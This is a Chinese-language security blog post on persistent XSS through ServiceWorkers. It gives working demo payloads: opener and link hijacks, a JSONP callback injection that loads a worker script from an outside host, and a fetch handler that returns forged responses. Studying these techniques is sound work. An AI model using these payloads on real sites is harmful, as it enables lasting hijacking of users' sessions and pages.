Learning Man's Blog

XSS with ServiceWorkers

字数统计: 808阅读时长: 3 min
2019/09/03

前述

持久化 XSS 的常见姿势有

  1. with CSRF Inject
  2. opener hijack
window.opener.location="javascript:alert('Xss')";void(0);
  1. link hijack
for (i = 0; i < document.links.length; i++) {
    document.links[i].οnclick = function () {
        x = window.open(this.href);
        setTimeout(function () {
            try {
                x.location = "javascript: alert('Xss')"
            } catch (e) {};
            return false;
        }, 3000);
        return false;
    }
};
void(0);
  1. HTTP cache hijack (需要配合 CSRF)
  2. with Service Workers

简介

Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。当然,由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含 /javascript

作用

  1. 监听、篡改 - 请求、响应
  2. 升级反射 XSS 到存储型
  3. 持久性控制

快速查看

chrome://serviceworker-internals

-w889

注册方式

  1. script
<script>
    navigator.serviceWorker.register("/payload.js");
</script>
  1. link 未成功
<link rel="serviceworker" href="/payload.js" scope="/">
  1. header
# Response - Header
Link: </sw.js>; rel="serviceworker"; scope="/"

利用环境

  1. 必须为HTTPs,哪怕证书过期

  2. ServiceWorker 文件可控

    1. XSS

      • 可以尝试直接注册 SW
      • 配合跨目录上传,注册根部 sw 文件
    2. JsonP 利用跨域传输payload

    3. Cache 缓存

注意

  1. 注册时,文件路径决定可影响范围,所以越接近 web 根越好;若在根部,则影响整个域下事件
  2. 利用 jsonp 时,JsonP Content-Type需返回为text/javascriptapplication/x-javascriptapplication/javascript
  3. 需要 xss 插入 payload

Demo

i. JsonP

// server side -> xss-attack.html
<script type="text/javascript">
var url = "1.php?callback=importScripts('//blog.sari3l.com/sec.js')//1";
if ('serviceWorker' in navigator) {
    navigator.serviceWorker.register(url)
        .then(function(registration) {
            console.log('ServiceWorker registration successful with scope: ', registration.scope);
        })
};
</script>

// server side -> jsonp-bug.html
// 根据实际 jsonp 利用修改上面 xss 攻击 payload
<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();

header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");

// attacker side -> sec.js
onfetch = e => {
    body =
        '<script>alert(document.domain)</script>';
    init = { headers: { 'content-type': 'text/html' } };
    e.respondWith(new Response(body, init));
}

-w1082

ii. Cache

如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。

下面是一个缓存读取/判断的demo

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function(event) {
    event.respondWith(
        //console.log(event.request)
        caches.match(event.request).then(function(res) {
            if (res) { //如果有缓存则使用缓存
                return res;
            }
            return requestBackend(event); //没缓存就进行缓存
        })
    )
});

function requestBackend(event) {
    var url = event.request.clone();
    console.log(url) //打印内容是打印到请求页面
    if (url.url == 'http://localhost/reurl.html') { //判断是否为需要劫持的资源

        return new Response("<script>alert(1)</script>", { headers: { 'Content-Type': 'text/html' } })
    }
    return fetch(url).then(function(res) {
        //检测是否为有效响应
        if (!res || res.status !== 200 || res.type !== 'basic') {
            return res;
        }
        var response = res.clone();
        caches.open('v1').then(function(cache) { //打开v1缓存进行存储
            cache.put(event.request, response);
        });

        return res;
    })
}

参考资料

  1. 短短哥 - 持久化 XSS:被 ServiceWorkers 支配的恐惧
  2. RootkitXSS之ServiceWorker
  3. https://lorexxar.cn/2018/04/20/SW-xss/
CATALOG
  1. 1. 前述
  2. 2. 简介
  3. 3. 作用
  • 快速查看
  • 注册方式
  • 利用环境
    1. 1. 注意
    2. 2. Demo
      1. 2.1. i. JsonP
      2. 2.2. ii. Cache
  • 参考资料